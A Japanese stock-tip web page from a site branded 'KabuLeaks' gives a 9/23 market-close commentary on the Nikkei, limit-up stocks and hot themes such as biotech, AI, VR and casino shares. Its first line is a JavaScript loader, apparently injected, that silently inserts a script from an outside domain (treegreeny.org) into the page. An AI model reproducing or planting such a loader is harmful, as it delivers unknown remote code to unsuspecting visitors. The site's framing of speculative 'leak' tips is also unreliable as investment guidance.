;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【9/23 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【9/23 大引け】

本日の日経平均53円安と小反落。後場は手掛かり材料難、週末要因などからもみ合い。終盤にかけてはやや円高に振れたことから弱含みに。主力はやや見送りのなか、テーマ株のバイオ関連、人工知能(AI)関連、VR関連、カジノ関連がなど賑わった。業種別では、鉱業、海運業、建設業が値上がり上位に。一方で、証券商品先物、輸送用機器が値下がり上位となった。

個別では、【4582】シンバイオ製薬がストップ高。ノーベル化学賞候補者に同社、にシニアアドバイザーの前田浩特任教授が挙がっているとの報道を材料視されたほか、バイオ関連軒並み上昇している波に乗り久々に個人に人気、仕手性も強い【4589】アキュセラ・インクもストップ高まで買われる動きに。また、【7527】システムソフトは21日に発表の東証1部への鞍替えを好感。VR関連、信用規制解除の【6038】イードやいちよし証券がレーティング「B」→「A」に引き上げ2,700円→3,000円目標となった鳥貴族なども買い優勢に。

その他、レアメタルリサイクル事業の投資計画決定を引き続き材料視。アサカ理研が後場急伸したほか、本日の注目銘柄の【6079】エナリスは後場一段高。年初来高値を大きく更新した。

日米金融イベントを通過したものの、しっかりとした方向感が定まっていない印象が強い。今日は週末要因ということもあって読み難い面もあるが週明けもう少し様子見しておくのが無難か。ただ、手掛けづらさもあるなかでも中小型株、テーマ株の一角は物色意欲旺盛となっており、しばらくは本日に賑わったバイオ関連、人工知能(AI)関連、VR関連、カジノ関連など引き続き資金流入期待。

特にノーベル賞からのバイオ関連、そして臨時国会からのカジノ解禁法案の行方など注目が集まると思われる。